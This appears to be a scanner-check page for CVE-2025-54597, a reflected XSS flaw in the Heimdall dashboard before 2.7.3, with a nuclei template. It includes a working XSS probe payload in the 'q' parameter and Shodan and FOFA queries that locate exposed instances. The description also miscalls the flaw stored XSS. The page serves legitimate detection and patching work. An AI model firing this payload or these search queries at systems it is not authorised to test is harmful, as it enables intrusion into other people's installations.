Heimdall Application Dashboard < 2.7.3 - Reflected XSS

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

50%of all CVEs are less likely

Readycheck to confirm it

LinuxServer.io Heimdall < 2.7.3 contains a stored XSS caused by improper sanitization of the \"q\" parameter, letting remote attackers execute scripts, exploit requires crafted input.

Impact

Attackers can execute arbitrary scripts in users' browsers, potentially stealing session data or performing actions on behalf of users.

Fix

Update to version 2.7.3 or later.

How to confirm it

Send: GET /
Positive when: contains "heimdall" or "items/pintoggle"
Send: GET /?q=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E
Positive when: contains "\"><img src=x onerror=alert(document.domain)>" AND status 200

Run it with nuclei: nuclei -id CVE-2025-54597 -u <target>

The full check

id: CVE-2025-54597

info:
  name: Heimdall Application Dashboard < 2.7.3 - Reflected XSS
  author: 0x_Akoko
  severity: medium
  description: |
    LinuxServer.io Heimdall < 2.7.3 contains a stored XSS caused by improper sanitization of the \"q\" parameter, letting remote attackers execute scripts, exploit requires crafted input.
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially stealing session data or performing actions on behalf of users.
  remediation: |
    Update to version 2.7.3 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54597
    - https://github.com/linuxserver/Heimdall/releases/tag/v2.7.3
    - https://github.com/linuxserver/Heimdall/commit/6b9f61b0e672c37b807ff338e1a3fdaa8f39a8a6
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-54597
    epss-score: 0.00606
    epss-percentile: 0.49351
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: linuxserver
    product: heimdall
    shodan-query: title:"Heimdall"
    fofa-query: app="Heimdall-Application-Dashboard"
  tags: cve,cve2025,heimdall,xss,reflected,linuxserver,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "heimdall"
          - "items/pintoggle"
        internal: true

  - raw:
      - |
        GET /?q=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"><img src=x onerror=alert(document.domain)>'
        part: body

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from